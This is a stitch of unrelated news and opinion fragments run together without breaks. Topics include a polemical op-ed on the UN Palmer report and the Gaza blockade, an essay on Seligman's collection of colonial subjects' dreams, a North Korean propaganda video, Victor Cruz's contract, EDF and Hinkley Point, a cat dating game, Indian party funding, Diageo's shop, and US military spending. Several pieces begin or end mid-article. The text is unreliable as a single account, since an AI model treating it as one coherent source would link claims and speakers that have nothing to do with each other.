The people of Gaza couldn’t care less whether Israel keeps its policies on land and naval blockades “separate”. It’s the combined effect that counts.
As for the claim that the primary purpose of the blockade is security, the Panel clearly hasn’t studied the Wikileaks cables from 2008, one of which reads: “As part of their overall embargo plan against Gaza, Israeli officials have confirmed to (U.S. embassy economic officers) on multiple occasions that they intend to keep the Gazan economy on the brink of collapse without quite pushing it over the edge.” Israel wanted it “functioning at the lowest level possible consistent with avoiding a humanitarian crisis”.
And according to documents released under a Freedom of Information petition by Gisha, an Israeli law centre, Israel operated “a policy of deliberate reduction” of basic goods in the Gaza Strip. Gisha’s director accused Israel of “paralyzing normal life in Gaza”. The documents confirmed that the siege was not for security reasons but aimed at keeping Gazans at near-starvation level. Since around half the population are growing children this act of collective punishment has meant that hundreds of thousands are undernourished.
The Panel might have asked why, since no rockets have been fired from the West Bank, the shredded remains of that part of Palestinian territory is still under occupation, blockade and cruel restriction?
Palmer, Uribe and Ban Ki-Moon need to wake up to Israel’s never-ending campaign of disinformation. Palmer for example repeatedly refers to “the takeover of Gaza” by Hamas when Hamas, as everyone else knows, was democratically elected.
“It is Hamas that is firing the projectiles into Israel or is permitting others to do so. The Panel considers the conflict should be treated as an international one for the purposes of the law of blockade. This takes foremost into account Israel’s right to self-defence against armed attacks from outside its territory.”
There’s nothing about Gaza’s right to self-defence or even self-preservation. Then this warning…
“Once a blockade has been lawfully established, it needs to be understood that the blockading power can attack any vessel breaching the blockade if after prior warning the vessel intentionally and clearly refuses to stop or intentionally and clearly resists visit, search or capture. There is no right within those rules to breach a lawful blockade as a right of protest. Breaching a blockade is therefore a serious step involving the risk of death or injury.
“Given that risk, it is in the interests of the international community to actively discourage attempts to breach a lawfully imposed blockade.
“The imposition of a blockade involves the use of force, which can only be employed in the exercise of a right of self-defence. Measures taken by States in the exercise of their right of self-defence are required under Article 51 of the United Nations Charter to be notified to the Security Council.”
Occupier is the victim of resistance?
So Palmer’s bizarre re-framing of the situation – that the illegal occupier Israel is the victim of the Palestinians’ lawful resistance and that Israel’s security must be given priority over everyone else’s – will have given Tel Aviv something to smirk about. Worse, it gives Israel and its stooges around the world reason to think they have a green light for imposing a permanent blockade, for Israel will always dream up bogus threats to its security.
But the Palmer report, surely, cuts both ways. By the same token it gives the green light to Palestine, if ever it obtains the weaponry to impose a blockade of its own, and to Lebanon, Syria, Iran and maybe Free Egypt to play the naval blockade game against Israel, whose unsupervised nuclear arsenal, scant respect for international law and liking for armed trespass pose a much greater threat to the region than random garden-shed rockets from Gaza ever did.
And what does this whitewash mean for the Palestinians’ UN bid for statehood? Is the newly fledged state to begin its young life with a land and sea blockade in place because Palmer and Uribe say it’s all legal and above-board and Israel’s security comes first? Let us not forget that the West Bank and East Jerusalem are under blockade too.
The Turkish representative on the panel, Mr. Süleyman Özdem Sanberk, has rightly dissociated himself from some of Palmer’s key ‘findings’: “On the legal aspect of the blockade, Turkey and Israel have submitted two opposing arguments. International legal authorities are divided on the matter since it is unprecedented, highly complex and the legal framework lacks codification. However, the Chairmanship and its report fully associated itself with Israel and categorically dismissed the views of the other, despite the fact that the legal arguments presented by Turkey have been supported by the vast majority of the international community. Common sense and conscience dictate that the blockade is unlawful.
“Also the UN Human Rights Council concluded that the blockade was unlawful. The Report of the Human Rights Council Fact Finding Mission received widespread approval from the member states.
“Freedom and safety of navigation on the high seas is a universally accepted rule of international law. There can be no exception from this long-standing principle unless there is a universal convergence of views.”
The Palmer report deserves condemnation and is getting it. Such dangerous tripe belongs in the wastepaper basket. At the outset the inquiry Panel said it couldn’t make definitive findings and was not competent to determine the legal issues, yet it immediately set about concocting its own distorted judgement based especially on the dubious legal views of Israel, which it admitted are “no more authoritative or definitive than our own”.
So what is the Secretary-General’s mischievous game in setting this up?
As if we didn’t know…
Critics Decry “Whitewashed” UN Report on Gaza Flotilla 1 of 2
Take, for example, the dream of Lhuzekhu, a man from the Naga Hills of Northeastern India who worked as an interpreter for the colonial administration. Lhuzekhu’s boss, a British district officer, recorded this dream in 1924:
I went alone down to the school. An elephant with no one on its back came up from the bazaar. I felt it was yours. I was frightened it might hurt me and threw a stone at it … Then I found myself in my house with my family … We all sat round the fire. There was a sudden gale of wind. I held the post fearing my house would be blown over. The gale stopped. I looked at all my posts and especially at the carved one in front of the door, and said: ‘If it had not been for this post, my house would have fallen and I should have had a lot of trouble.’
Lhuzekhu’s dream was among hundreds collected from across the British empire – from the Indian subcontinent, Nigeria, Uganda, Australia, the Solomon Islands and elsewhere – on the instructions of an anthropologist at the London School of Economics (LSE) named Charles Gabriel Seligman. Seligman was a longtime adviser to colonial governments, which funded his research and helped to train colonial officials at the LSE. Seligman made his career as a physical anthropologist at the height of racialist science. That meant defining human groups on the basis of physiognomy and locating them in evolutionary hierarchies. Seligman was, in short, an imperialist and a classifier par excellence. So what did he hope to accomplish by amassing dreams such as Lhuzekhu’s?
Building a database of colonial dreams was a quixotic, even utopian, project. Seligman, a Sigmund Freud enthusiast, wanted to see what sort of information the powerful new tool of psychoanalysis could generate when confronted with the diverse cultures under British rule. He also felt constrained by older techniques in psychology, such as measurements of reaction time to visual stimuli, which were long seen as the only kind of mental experience researchers could reliably capture. Seligman came to believe that these methods brought mere technical precision without the depth or complexity of inner life. Dream research would show whether Freudianism could travel across cultural boundaries and return with richer, more textured portraits of the mind. It was an unconventional move, not only because Freud’s theories remained controversial in scientific circles, but also because most observers in the West still clung to the stereotype of alien and inscrutable minds in supposedly ‘primitive’ societies.
Like any good Freudian, Seligman knew that the meaning of dreams could be elicited only through the act of interpretation; simply recording the twists and turns of the narrative was not enough. So he instructed his dream-collecting agents – an assortment of colonial officials and anthropologists stationed across the world – to question their informants about the reactions and associations that arose as they described their dreams. When he turned to analyse Lhuzekhu’s dream, for instance, Seligman began with Lhuzekhu’s own words: ‘The excellence and strength of my carved post means I shall have fine sons and daughters.’ Picking up on the ‘phallic’ symbolism of this phrase, Seligman thought it revealed that Lhuzekhu’s sense of self was rooted in ‘strength and reproduction’.
Perhaps, then, Seligman could file this case in a growing pile of evidence for the universal validity of Freudian theory? The logic of wish-fulfilment appeared again and again in dreams from across the world: death wishes in West Africa; incestuous desires in dreams in the Solomon Islands; fantasies of aggression against authority figures in Australia. On the other hand, a good deal of evidence pointed in the opposite direction. Informants on at least three continents reported that the stages of sexual development that Freud made famous – oral, anal, genital – were nowhere to be found; children did not pass through a latency period, for instance, or a phase of fascination with excretory functions. Seligman’s dream-collectors in the Naga Hills and in Nigeria even gainsaid the relevance of such fundamental concepts as libido and repression. Sexual mores were so much less restrictive than in the West, they reported, that unconscious minds there were much less intent on subverting them.
In that case, perhaps Lhuzekhu’s dreams could be impressed into a story about the peculiarities of ‘savage’ or ‘primitive’ minds? But here too, Seligman’s data overwhelmed the possibility of neat interpretations. To establish a kind of control group for his cross-cultural analysis, Seligman used a BBC radio broadcast in 1931 to solicit dreams and auto-interpretations from ordinary people in Britain. He found that both the symbols in dreams and their associated emotional states were almost universally shared. In Britain and the colonies alike, for instance, anxiety dreams often featured the unsettling image of teeth coming loose in one’s mouth; pleasant, vaguely erotic dreams, by contrast, frequently involved visions of flying through the air. Questioning the Freudian paradigm that prompted him to gather dreams in the first place, Seligman instead flirted with Jung’s theory of a ‘collective unconscious’ – a storehouse of myths, images and memories inherited by all human beings.
Whether in Freudian or Jungian perspective, Seligman saw that the colonial subjects’ dreams pointed in the direction of one unexpected conclusion. As he put it in 1932 : ‘The savage mind and the mind of Western civilised man are essentially alike.’ While symbols in dreams offered some support for this vision of a universal psychology, the significance attached to dreams in waking life might have offered even more. Going over the British submissions for his BBC broadcast, Seligman – who, like other anthropologists, had long observed that people in other cultures interpreted dreams as prophecies or omens of future events – discovered that ‘Western civilised man’ did exactly the same thing. Several correspondents disclosed an interest in spiritualism, telepathy, astrology; several more related prophetic dreams – dreams that they insisted had foretold the future in their own lives. When Seligman tried to offer rational explanations for their premonitions, they refused to accept them. One woman angrily wondered why anyone would disclose her dream to a stranger if not to receive a prophecy in return. ‘The experiment is interesting,’ Seligman sighed, ‘as showing the very large proportion of people who considered dreams as prophetic.’
The father figure who inspired aggressive feelings was almost always a British official or missionary
In short, Seligman struggled to impose meaning on his unusual archive. When he tried to establish universalities, exceptions and contradictions proliferated. And when he tried to draw sharp distinctions between the minds of Britons on the one hand, and colonial subjects on the other, commonalities asserted themselves. Even in a situation where researchers held all the power – with the authority of the imperial state behind them, and an elaborate theoretical structure setting the terms of the encounter – their subjects did not always follow the script.
Which brings us back to Lhuzekhu. As Seligman began to wonder about the universality of Freudianism, he noticed that the Oedipus complex took a particular form in the dreams of his colonial subjects: the father figure who inspired aggressive feelings was almost always a British official or missionary. That Lhuzekhu perceived the elephant as the property of the district officer, then threw a stone at it, revealed undercurrents of hostility which could not be expressed openly. This insight caused the remaining pieces of the puzzle to fall into place. Seligman glossed the shift to a domestic setting as an ‘escape to the mother’; the wind threatening to topple his home as the earth-shaking trauma visited by imperial rule. Lhuzekhu’s boast about ‘fine sons and daughters’ became a fantasied resolution. Seligman saw this flourish as confirmation that Lhuzekhu wanted to usurp the district officer’s paternalistic authority. In other words, Seligman concluded: ‘He lives his father hostility and becomes the father himself.’ Outwardly deferential, Lhuzekhu in fact resented the seizure of power by British imperialists, and longed to topple them from their perch.
Seligman’s interpretation represented a new twist on the Freudian idea of politics as a father-son struggle. The oppressive force in this case was neither a class nor a generation but the British empire itself: a regime founded on violence and hostile to dissent. In this context, dreams offered a glimpse of the tensions that were integral to an undemocratic and hierarchical society, but which remained unsayable – at least to the British.
Even among Seligman’s relatively small sample of subjects, Lhuzekhu’s anger and frustration were not unique. Thousands of miles away, in Uganda, an African working for the colonial administration also suffered nightmares about the authority figures in his life. Philipo Oruro, a ‘native chief’ or Jago, shared his dreams with an anthropologist working for Seligman. Oruro’s nightmares suggested that he was terrified of British officials and missionaries. Whether the violent assaults in his dreams offered a literal accounting of reality or a figurative representation of emotional truth is unclear. But there is no doubt that Oruro experienced imperial rule as an ongoing trauma and a source of wrenching anxiety.
In Oruro’s dreams, British authorities inflicted unexplained, unavoidable and humiliating violence:
Bwana D C [the district commissioner] beat the behind of Won pacho Asanasio Pule [a village chief] hard. Then he gave him to Won amagoro Etum [a more powerful chief] to beat. When the stick broke in pieces, Etum went to fetch another and continued to beat him for a long time. Then I said: ‘Well, when are you going to leave off?’ Bwana said: ‘Not yet sufficient.’
Four nights later, Oruro dreamt that another Bwana (a Swahili honorific that could have signified any European figure) threatened to give him 10 strokes with a cane for breaking through the fence behind the school. Three weeks after that, Oruro dreamt that yet another Bwana, apparently a missionary, scolded him sharply: ‘Not in the slightest do you help me in my work.’ Oruro humbled himself to the point of prostration – ‘Bwana, I am still fresh, I have only just started, come teach me’ – but to no avail. After showering praise on one of Oruro’s rivals, the man called Bwana Cox drove Oruro from the house and threatened to beat him into submission.
When, a quarter-century later, Frantz Fanon analysed the dreams of Algerians living under French colonialism, he noted that many involved scenes of running and jumping: expressions of the longing for physical freedom, for the ability to move without fear, that the reality of colonial rule denied them. For Oruro, by contrast, even sleep did not provide a respite from the weight of oppression – a striking revelation. Yet beyond acknowledging ‘the very large part played by white officials’ in these dreams, Seligman seemed unsure what to make of them. They focused attention on a dark side of empire that he was unwilling, or unable, to acknowledge.
It might be tempting to dismiss Seligman’s experiment as an insignificant exercise in eccentricity: a curiosity cabinet with little relevance to the business of running an empire. Can its aims, and its breakdowns, really tell us anything about the way that states try to know their subjects? In fact, the dream project was neither so unusual nor so apolitical as it might seem. Particularly after the Indian Rebellion of 1857, British officials across the empire shared two related preoccupations: the fear of further uprisings, and the conviction that the inner lives of their subjects – their beliefs, their attitudes, their emotions – were exceedingly difficult to determine. For British officials, these anxieties surged anew in the aftermath of the First World War when an outbreak of rebellion from Ireland to Egypt to Iraq to India forced Britons to confront the depth and intensity of resistance to their rule. Against this alarming – for the British – backdrop, Seligman was not alone in seeing psychoanalysis as a potentially cutting-edge instrument of political intelligence.
In the 1930s, in the colony of Northern Rhodesia (now Zambia), a British education official psychoanalysing African students passed along his observations to a colonial administrator. The findings stirred concern: ‘The young men concerned showed unmistakable signs that they were on the point of plunging into subversive activities.’ In Nigeria, a protégé of Seligman’s undertook a Freudian-tinged study of women who had taken part in a major uprising against British rule. Arguing that the boom-and-bust cycles of the colonial economy and the repressive actions of the colonial military had unleashed pathological levels of resentment, she warned that the threat of rebellion remained strong. In the Gold Coast (now Ghana), another Seligman acolyte collecting dreams and free associations from indigenous sub-rulers also picked up on powerful feelings of aggression against British authority. It had gotten to the point, he observed, that the British represented ‘a common enemy’ among Africans, like ‘the Jew in Hitler’s Germany’.
The same studies that gave evidence of indigenous pathology pointed to the damage done by British rule
The common thread running through all the accounts was a twist on the Oedipal story. The oppressive patriarch, a largely fantasied figure in the European context, was here embodied in the very real force of the ‘white man’ and the colonial state behind him. This was a strikingly deromanticised vision of empire, in which only habits of deference and fear of reprisal constrained the urge to throw off tyrannical shackles. Seligman had, it turned out, chronicled the psychic wounds of colonialism, revealing a political order fundamentally at odds with Britain’s self-understanding. The question that emerged was whether British rulers could defuse the challenges that this sentiment posed to their rule before it engulfed them. Such was the pragmatic logic that drove British efforts to map the unconscious minds of their colonial subjects.
After 1945, as another wave of anticolonial unrest loomed, the machinery of psychoanalytic surveillance came to life once again. In Malaya, Communist rebels captured by British security forces faced questions devised by social scientists. The insurgents were asked about their childhood experiences, family relationships, social connections, gambling habits, and feelings of shame and envy – all in an effort to map the unconscious origins of rebellion. In Jamaica, a study sponsored by the Colonial Office amassed psychological data from children and adults across the island: life histories, dreams, and the results of so-called projective tests (including the Rorschach inkblot test). In Uganda, Colonial Office researchers used questionnaire data to trace the connections between life experiences and support for nationalist movements. And so on.
Did colonial officials get what they wanted from these growing collections of Freudian data? Some results, to be sure, ended up in tendentious arguments portraying anticolonial politics as the product of mental illness. The language of ‘frustration-aggression’ reactions and ‘deculturation’ disorders allowed some British officials to suggest that calls for independence derived from inchoate expressions of anger and immaturity. Once again, however, a clear-cut vindication of empire through expert knowledge proved elusive. The same studies that furnished evidence of indigenous pathology could not avoid pointing to the damage inflicted by British rule: the crushing racial hierarchies, the lack of economic opportunities, the weirdly Anglocentric schooling. Some researchers even suggested that imperialism, not anticolonial nationalism, was the real mental disorder; they explained the behaviour of British colonialists in terms of status anxieties, sexual hang-ups, and feelings of insecurity.
The video clip, released Thursday, shows the White House as a target, followed by an aircraft carrier exploding into flames.
According to the Washington Post, the caption accompanying that image translates in English to read, “When the enemy takes the first step toward provocation and invasion.”
Aircraft carriers, navy vessels and footage of men rushing out of tanks and onto shore from the sea are also included in the video.
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The video was released by a North Korean website Meari, the Washington Post reports.
Although North Korea has released propaganda videos before, this one comes amidst rising tensions between the reclusive country and the United States. As North Korea continues to develop its nuclear weapons and conduct missile tests, the United States has ordered the USS Carl Vinson aircraft carrier to the waters off the Korean Peninsula, and conducted its own nuclear-capable intercontinental ballistic missile test.
On Wednesday, the Trump administration summoned the entire Senate for a briefing on this issue.
“What you’ve seen is really an integrated effort to prioritize diplomatic and informational aspects of national power, but also what you’ll see soon is using the economic dimension of national power as well as the military preparations that are underway,” a White House official told reporters as the Senate was being briefed.
Owner John Mara stresses desire to keep Cruz ... within reason
Cruz's ability to secure long-term security could be aided with Tom Condon in his camp
NEW YORK — The New York Giants have given Pro Bowl receiver Victor Cruz a restricted free agent tender at the first-round level, team president and CEO John Mara told reporters in Manhattan on Monday.
Mara realizes the team is gambling a bit by exposing the breakout star to the market and offering him a one-year deal for $2.879 million, though he's hopeful the team that pays Cruz in the end will be the Giants.
"Certainly, we're taking a risk. But we would still have to right to match, and if we decided not to do that, we're getting a first-round draft pick out of it," Mara said following a press conference at 30 Rock to announce the NFL's new partnership with GE to contribute $40 million to concussion-prevention research.
"So yeah, it is a risk for us, and he is an exciting, dynamic player. It's not going to shock me if somebody makes him an offer."
Mara added of the undrafted free agent out of UMass, "Listen, he's been a great player for us. Like we do with all of our players, there's a limit as to how far we're going to go on a contract. You have to pay 53 (players), and if the money goes over that limit, we have to make a decision. But we feel we're in a good position now. We've tendered him.
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"If somebody wants to make him an offer, we'll evaluate whether it makes sense for us. My hope is he's a Giant for many years."
Cruz could have an easier time soliciting outside offers now, informing USA TODAY Sports that he's hired super agent Tom Condon, who also represents Giants quarterback Eli Manning and linebacker Mathias Kiwanuka. Condon has successfully negotiated deals keeping both of them in New York.
Cruz, a native of nearby Paterson, N.J., hopes to remain with the team as well. He is connected with the Latin community in the area, he's become a star off the field in the fashion and music industry, and he's fit into the New York offense extremely well.
But this is a business decision for both sides, not to mention other teams. Parting with a first-round pick is prohibitive to many and the primary reason that Pittsburgh Steelers receiver Mike Wallace didn't go anywhere as a restricted free agent a year ago.
"I think Victor is smart enough to realize that he belongs in this area," Mara said. "I think he's done very well for himself off the field. He's a very popular player here. He's had a lot of off-the-field opportunities. So hopefully all those other things will enter into his consideration."
One consideration Mara need not worry about is a "poison pill" type contract the Minnesota Vikings used to secure Seattle Seahawks all-pro guard Steve Hutchinson in 2006. Such virtually unmatchable offers — Seattle's salary cap would have been wrecked had it matched Minnesota's offer sheet — have been negated by a clause in the new collective bargaining agreement.
"Yes, that was a big part of our negotiation a couple of years ago because we wanted to take out the Hutchinson type of deals," Mara said, adding the new rule "gives you a little bit more comfort, where if somebody does come forward with an offer, it gives you a fair chance to match it if you decide to do that."
Cruz surely hopes Mara and the Giants realize they received 168 catches for 2,628 yards and 19 touchdowns in the regular season (plus 21 receptions for 296 yards and a Super Bowl touchdown in the postseason last year) all for the low, low price of $990,000 over the past two seasons, combined.
Mara is grateful for that production, though he won't let any thoughts of charity cloud the team's judgment. And he can't, knowing there are other players (including Cruz's fellow starting wide receiver Hakeem Nicks), who have to be paid as well.
"Well, you can't make an emotional decision," he said. "Listen, it was a very difficult thing for me to say goodbye to (running back) Ahmad Bradshaw. It was very difficult for me to say goodbye to (center) Shaun O'Hara and (guard) Rich Seubert and guys like that.
"You know, if you let your emotions get in the way then you end up in the place that we were in the 1970s and I'm not going back there."
Mara declined to specify whether right tackle David Diehl has been asked to take a pay cut from his $4.475 million base salary. He also indicated there haven't been any in-depth discussions about tinkering with quarterback Eli Manning's contract yet.
Mara is hoping the Giants will somehow, some way find the money to pay Cruz before the start of this coming season.
"You can't worry about the player's popularity, because at the end of the day, the fans want to win," Mara said. "They want you to build an organization that's going to be in contention every year, and if you overpay for players, it's going to hurt you in other areas.
"Listen, I'll say it again: he's been a great player for us, we'd love to have him back. But you have to place a value on these contracts, and we have and hopefully, at some point, we'll be able to reach an agreement."
Follow Mike Garafolo on Twitter @mikegarafolo
EDF has confirmed that its finance director has quit ahead of an expected final investment decision on the £18bn Hinkley Point nuclear power plant.
Thomas Piquemal stepped down because he feared the project could jeopardise EDF's financial position, according to reports.
EDF shares are trading 6.6% lower.
Last month, Chris Bakken, the director of the project that could produce 7% of UK electricity by 2025, said he was leaving to pursue other opportunities.
Jean-Bernard Levy, chairman and chief executive of EDF, said Mr Piquemal told him of the decision to leave last week and that he regretted the "haste" of Mr Piquemal's departure.
The company's board is expected to finalise in April how it will fund the project after postponing the decision a number of times.
Mr Levy said the board was studying the investment in Hinkley Point to ascertain the best way to finance the power plant. He added that EDF aimed to announce a final investment decision "soon".
EDF has provisionally appointed Xavier Girre, who joined the company last year as finance director of its French business, as the group finance chief.
Analysis: Kamal Ahmed, BBC Economics Editor
At first take, it might appear the resignation of a company's finance director reveals a business in crisis.
And EDF's share price fall this morning seems to bear that out.
But, for supporters of the building of a new £18bn nuclear power station at Hinkley Point in Somerset - the world's most expensive power project - the resignation of Thomas Piquemal looks like clearing the way for the EDF board to give the final go-ahead for the scheme.
Mr Piquemal was widely reported as being a trenchant critic of the costly nuclear project.
His fate appears to have been sealed last week when the French government, which largely owns EDF, confirmed that it is still backing the scheme
That came after the meeting between Francois Hollande and David Cameron - also an enthusiastic backer.
On this occasion, political will has trumped any financial concerns.
More from Kamal
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How to dismantle old nuclear plants
The project has been plagued by delays, but publicly the firm has insisted a decision to move forward is imminent.
In October last year, EDF agreed a deal under which China General Nuclear Power Corporation (CGN) would pay a third of the cost of the £18bn project in exchange for a 33.5% stake.
But according to reports, EDF is struggling to find the cash for its remaining 66.5% stake and is seeking help from the French government, which owns 84.5% of EDF.
Image copyright Reuters Image caption Hinkley is expected to provide 7% of the UK's electricity once it is operational
The company is also facing opposition from French union officials, who have suggested that investment in Hinkley Point C should be delayed until 2019.
The CFE-CGC Energy union said there were problems with a similar reactor design in France that needed to be solved.
Francois Raillot from the union which has a seat on EDF's board, said the company could sell some assets to finance Hinkley Point, but added: "It is a very bad time to do it because the price of energy is so low.
"The state, which is a shareholder, will have to give [EDF] money to do it. But another problem is that the French state has no money."
The new Hinkley plant was originally due to open in 2017, and it has come under fire for both its cost and delays to the timetable for building.
The British government has also been criticised for guaranteeing a price of £92.50 per megawatt hour of electricity - more than twice the current cost - for the electricity Hinkley produces for 35 years.
A UK Government spokesperson said: "We continue to fully support the project and President Hollande said himself on Thursday afternoon that it has the full support of the French Government."
Financing issues
Tony Roulstone, from the Cambridge Nuclear Energy Centre, said the departure of Mr Piquemal was "a big blow".
He said EDF was already facing a number of other financing issues, including a decision to buy a majority stake in Areva's nuclear reactor unit, adding: "They are committed to upgrading their existing power stations in France at a cost of €55bn over 15 years."
"At a commercial level there is a way for the government to step aside but at a political level, this is part of the energy strategy," he said.
Tom Greatrex, the chief executive of the Nuclear Industry Association, said: "What I think is vitally important is we get a decision on Hinkley, and then we get on with replacing our generation stock which is going off line.
"We need new nuclear as part of that low carbon balance linked to the future. And Hinkley is an important part of that."
Tom Burke, chairman of environmental think tank E3G, said there was now "a serious question mark" over the future of Hinkley Point.
Read on for a little more detail, and a heartwarming release date announcement trailer that left me in fits of uncontrollable giggles, and humming the irritatingly catchy song over an hour later.
A lot of devs may be struggling to break even, but the great indie deluge has brought us a near endless stream of wickedly creative games these past few years. Here’s some of the best.
Go on, watch the video above and tell me it doesn’t put a smile on your face. Purrfect Date is the debut game from Bae Team, a very strange duo who love cats, visual novels, mysteries, and have a pointedly offbeat sense of humour. After realising they’d run out of things weird enough to hold their attention, they decided to make something instead, so this is what we get. It only stands to reason that Bossa Studios, the barmy collective behind I Am Bread, have stepped up to publish it.
Set across seven days in feline paradise, Purrfect Date asks you to step into the 12 shoes (stands to reason, doesn’t it?) of six researchers investigating Cat Island… an island (unsurprisingly) populated by cats. Remarkably chatty ones, at that, and you’re tasked with balancing your combined duties of research, recon, and romance in order to find out what makes these fluffy friends tick.
Replay value promises to be pretty decent, as your interactions over your week in feline paradise promise to come to a head in one of several possible seventh-day scenarios. It’s all absurd, and the intentionally scruffy art style, portraying these cats as the awkward, hairy dorks that they truly are, has got me onboard.
As a card-carrying cat-tender, I must say that unless at least one of the mogs in the game communicates their affection purely through fierce headbutts, it’s just unrealistic.
BJP's total declared income was Rs 570.86 crore and Congress's income was Rs 261.56 crore. Out of its total income, the BJP collected Rs 460.78 crore from unknown sources and Congress party collected Rs 186.04 crore from unknown sources, the report said.
ADR analysed the income and expenditure data of national and regional political parties submitted to the Election Commission of India. "Unknown sources are income declared in the income tax returns, but without giving source of income from donations below Rs 20,000. Such sources include 'sale of coupons', 'relief fund', 'miscellaneous income', 'voluntary contributions', 'contribution from meetings/morchas' etc. The details of donors of such voluntary contributions are not available in the public domain," the ADR report said.
While voluntary contributions was the most preferred form of fundraising for the BJP, 'sale of coupons' was the most preferred form of fundraising for Congress party, the report said.
The report added that seven national parties raised a total of Rs 1,033.18 crore in 2015-16. Of this, parties spent Rs 754.45 crore and declared an unspent amount of Rs 278.73 crore.
The BJP had the highest income followed by the Congress, the Communist Party of India (Marxist) (Rs 107.48 crore), the Bahujan Samaj Party (Rs 47.39 crore), the Trinamool Congress (Rs 34.58 crore), the Nationalist Congress Party (Rs 9.14 crore) and the CPI (Rs 2.18 crore).
The design of the website is sleek and efficient, navigation is easy, it is all very well put together, as you could expect from such a major company. The shop is clearly directed at people with money to spend, and new customers signing up are promised invites for events such as Fashion Week or film premieres as well as the occasional free sample.
The pricing is up to that level. If you expected Diageo to let you benefit from the saved retail markup on their wholesale prices, you will be disappointed. Anything in the shop is significantly more expensive than from standard online retailers. A few examples from the whisky section: Johnnie Walker Blue Label: £179, Talisker 25 yo 45.8%: £300, Caol Ila 18 yo: £87.95. Massive profit margins here, if you keep in mind that Diageo must already make profit from wholesale prices. So in fact the customers pay for the freebies they are offered.
Consumer education is a focus of the shop which is always a good thing. But how this is done here is a serious case for the bullshit police. I have only looked in the whisky section, but I have found lots of inaccuracies and perpetuated myths like these:
If you dig deeper, you will find even more. And that was only for the whisky section.
Yes, I have switched to nitpick mode when looking at the website. But this is not a startup venture run from a garage. This is Diageo, this is THE major whisky company in the world. They should know better. And I know they know.
The French daily notes that the reaction was limited to a small number of voices in “left-wing parties and civil society who timidly responded to the interior ministry initiative” by pointing out in his decision to apply judgements authorising deportation, President François Hollande has broken an election promise “not to expel Roma families who have not been offered alternative housing”.
Le Monde goes on to compare the French President’s position with the one adopted by his predecessor, which was roundly criticised at the time —
In the summer of 2010, a speech on the Roma delivered by Nicolas Sarkozy in Grenoble [in which he pledged to dismantle half of France’s illegal Roma camps] met with widespread indignation. However, today most left-wing figures have remained remarkably silent” on the issue.
The deal sounds similar to one the New York City Department of Education signed earlier in 2010 – and in that case, the actual migration was facilitated by cloud service provider ePals. While there’s no word on how the channel fits into this deal specifically. TalkinCloud suspects some SUNY schools will need solutions provider assistance as they seek to migrate from a mix of email and collaboration systems to Live@edu.
As usual with these customer deals, Microsoft’s press release highlights the potential cost savings of going with a cloud solution, with Live@edu adoptee Monroe Community College (MCC) slated to save an estimated $600,000 over the next five years.
An interesting wrinkle to this project: Microsoft Office 365, slated for arrival sometime in 2011, is expected to be the successor to Live@edu. We’ll be pushing for more details on how Office 365 will be designed for colleges, universities and K-12 school districts.
The vine-covered, two-story house is in the 2400 block of South Saratoga Street (map). At the back of the house, the roof and part of the second story collapsed, knocking over a fence.
According to NOFD District Chief Joey Lampard, it was too dangerous as of early morning to send in firefighters to search for the men. NOFD was waiting on someone from the city's permitting office so they could tear down the building and continue the search.
It was unclear when the collapse happened. Lampard said it was reported this morning by someone who was doing work on the house next door.
Enlarge this image toggle caption iStockphoto iStockphoto
Every day is a birthday for Tom Cotton.
Cotton has a reputation for being a very serious man. The military veteran, Harvard Law graduate and freshman U.S. senator gained wide attention for being able to rally 46 of his Republican colleagues in the Senate to join in writing a letter to Iran's leaders objecting to a nuclear deal.
So this is a side most would not expect.
In an interview with the New York Times' Mark Leibovich, Cotton was asked about guilty pleasures. He first answered very seriously:
"You have been described as having very little appetite for frivolity. Do you have any guilty pleasures? I run a lot every morning."
Leibovich followed up, pointing out, "That sounds neither guilty nor pleasurable." Cotton's response might make many readers do a double take:
"But I do it so I can indulge in the guilty pleasure of eating birthday cake. "Every day? Most days, with ice cream. Early on, when my wife and I were dating, we went to the grocery store, and I told her that sometimes I just buy birthday cakes, and I eat them. And she said: 'Really? I do, too.' "Even if it's not somebody's birthday? Yes. She went to the grocery store yesterday and picked up a white birthday cake."
Cotton not only eats birthday cake almost every day, but he also found someone who can share in that.
That's where the silly ended, though, in the interview.
From the left and the right, policy proposals are flying fast and furious. It is an election year, after all. But one topic is completely off the agenda from both sides of the party line: decreasing military spending.
Today's political candidates are universally unwilling to discuss the military budget, overseas aggression, nuclear weapons, militarism, or imperialism—except to recommend more of it.
The problem is, we can't bomb our way into better schools.
Year after year, we continue to pour our tax dollars into the war budget at the expense of other social programs. And, even as we overfund the military contractors, we also fail to care for our veterans and renege on our recruitment promises of education and jobs for the youth. Neither of the two major-party presidential candidates will discuss ending the endless war, bringing our troops home, or investing in improving the infrastructure, education, and opportunities here at home.
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One thing is clear: continuing to overfund the military at the expense of programs of social uplift is not going to improve the situation of the average American. Those who study the rise and fall of empires know that the obsession with military expansion, and the pouring of a nation's resources into militarism at the expense of other programs leads to collapse. The fall of many powerful empires throughout human history has been preceded by such a cycle. Regardless of one's views on whether or not the United States should be pursuing the goal of imperialism, the obvious truth is that we are, in fact, a heavily militarized empire, with five colonial territories, and nearly 700 military bases in countries around the world.
We're operating on increasingly shaky ground. As we head into the elections, where are the candidates who will frankly acknowledge this danger? Who will commit to investing in our youth, our communities, and our people? Will we continue to obsessively and aggressively try to demonstrate our greatness through military might or will we find ways to humbly and compassionately strive for basic goodness—not even greatness—in the way we treat one another here at home?
We may be modern people with smartphones, airplanes, and entrenched beliefs in our political divisions, but at the end of the day, human values haven't changed much. We're still hoping and longing for the same things. We all want our kids to be healthy. We want our schools to be engaging and empowering. We want our communities to be safe. We want to have enough. We don't want to be hungry or homeless. We don't want bombs dropping on our heads. We want meaningful opportunities for our young people (and ourselves). We want a world for our great, great grandchildren.
The question is: how do we get those things? Although the policies, platforms, and proposals abound, one thing is clear: continuing to overfund the military at the expense of programs of social uplift is not going to improve the situation of the average American. As Dr. King adroitly pointed out so many years ago, we are approaching spiritual death by continuing on this path. At the end of our endless wars, what are we defending? As we gut our schools, incarcerate our populace, over-police our poor communities, let roads and infrastructure crumble, what exactly are we sending our sons and daughters overseas to protect? We cannot bomb our way into better schools. Instead, we must beat the swords of our bombers into plowshares, study war no more, and rebuild the spiritual, moral, and cultural integrity of our nation.
But by Tuesday evening, things had changed. At 8 p.m., Merkel called Trudeau to talk about how to proceed following Trump's announced withdrawal from the Paris climate agreement. To her surprise, the Canadian prime minister was no longer on the attack. He had switched to appeasement instead.
What would be wrong with simply striking all mentions of the Paris Agreement from the planned G-20 statement on climate, Trudeau asked. He suggested simply limiting the statement to energy issues, something that Trump would likely support as well. Trudeau had apparently changed his approach to Trump and seemed concerned about further provoking his powerful neighbor to the south.
